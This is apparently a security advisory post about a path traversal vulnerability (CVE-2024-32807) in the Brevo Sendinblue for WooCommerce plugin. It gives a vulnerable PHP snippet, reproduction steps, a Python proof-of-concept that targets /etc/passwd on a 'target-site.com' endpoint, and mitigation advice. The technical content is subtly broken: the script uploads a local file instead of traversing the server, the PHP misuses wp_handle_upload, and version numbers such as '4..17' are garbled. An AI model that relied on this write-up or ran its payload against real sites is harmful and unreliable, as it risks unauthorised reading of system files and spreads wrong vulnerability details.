A recent vulnerability, identified as CVE-2024-32807, has been discovered in the Brevo Sendinblue for WooCommerce plugin. This vulnerability exposes a potential attack vector for manipulating web input in file system calls. Exploitation of this vulnerability results in relative path traversal, which could potentially have severe implications for the security of your WooCommerce store. This post outlines the details of this vulnerability, steps to reproduce it, and recommended mitigations for resolving the issue.

Product Affected

Brevo Sendinblue for WooCommerce
Affected versions: All versions up to 4..17
Not affected versions: 4..18 and later

Exploit Details

The path traversal vulnerability exists in the file handling mechanism within the Brevo Sendinblue for WooCommerce plugin. More specifically, the issue lies in how the plugin handles paths within its code. By exploiting this vulnerability, an attacker can manipulate web input in file system calls and potentially access sensitive server information.

Here's a code snippet, highlighting the vulnerability

// Handle file uploads
if (!empty($_FILES['file-upload']['name'])) {
    $uploaded_temp_file = $_FILES['file-upload']['tmp_name'];
    $uploaded_file = wp_handle_upload($uploaded_temp_file, $upload_overrides);

    // Path traversal vulnerability
    $file_path = $uploaded_file['file'];
    $file_content = file_get_contents($file_path);
}

In the above code, improper handling of the uploaded file with the file_get_contents() function can lead to a path traversal attack. An attacker can manipulate the $file_path variable to access restricted directories and disclose sensitive information.

Reproduce the Vulnerability

To reproduce this vulnerability, execute the following steps: (Please note that these steps are for educational purposes only, and should not be performed on a live server without proper authorization.)

Set up a vulnerable version of the Brevo Sendinblue for WooCommerce plugin on a WooCommerce store.

2. Create an exploit script that takes advantage of this vulnerability, manipulating the file-upload POST parameter, as shown below:

import requests

url = "http://target-site.com/vulnerable_upload_handler";
file = "./../../../../../../../../../../../etc/passwd"
with open(file, "rb") as f:
    data = {"file-upload": f}
    response = requests.post(url, files=data)
    print(response.text)

Create an HTTP POST request with the manipulated payload to the target site.

4. Verify that the vulnerability is exploited by noting the response of the server, which should contain sensitive information.

1. Update the Brevo Sendinblue for WooCommerce plugin to the latest version (4..18 or later), as the vulnerability is patched in recent release.

2. Enhance input validation for handling file paths by adding checks for directory traversal attempts. Prevent any path inputs from accidentally accessing unintended directories or files.

3. Implement a strong access control mechanism within the system, limiting the scope of potential harm that a path traversal vulnerability could cause.

4. Regularly perform vulnerability scans and security audits to ensure that your WooCommerce store remains secure against known vulnerabilities.

1. CVE-2024-32807 - NVD (National Vulnerability Database)

2. Brevo Sendinblue for WooCommerce Security Advisory

Conclusion

If you're using the Brevo Sendinblue for WooCommerce plugin, it's crucial that you stay updated about potential vulnerabilities and apply any necessary security updates. Take the time to implement the mentioned mitigations to protect your WooCommerce store and customers from this path traversal vulnerability (CVE-2024-32807).

Timeline

Published on: 05/06/2024 18:15:07 UTC
Last modified on: 05/17/2024 10:15:10 UTC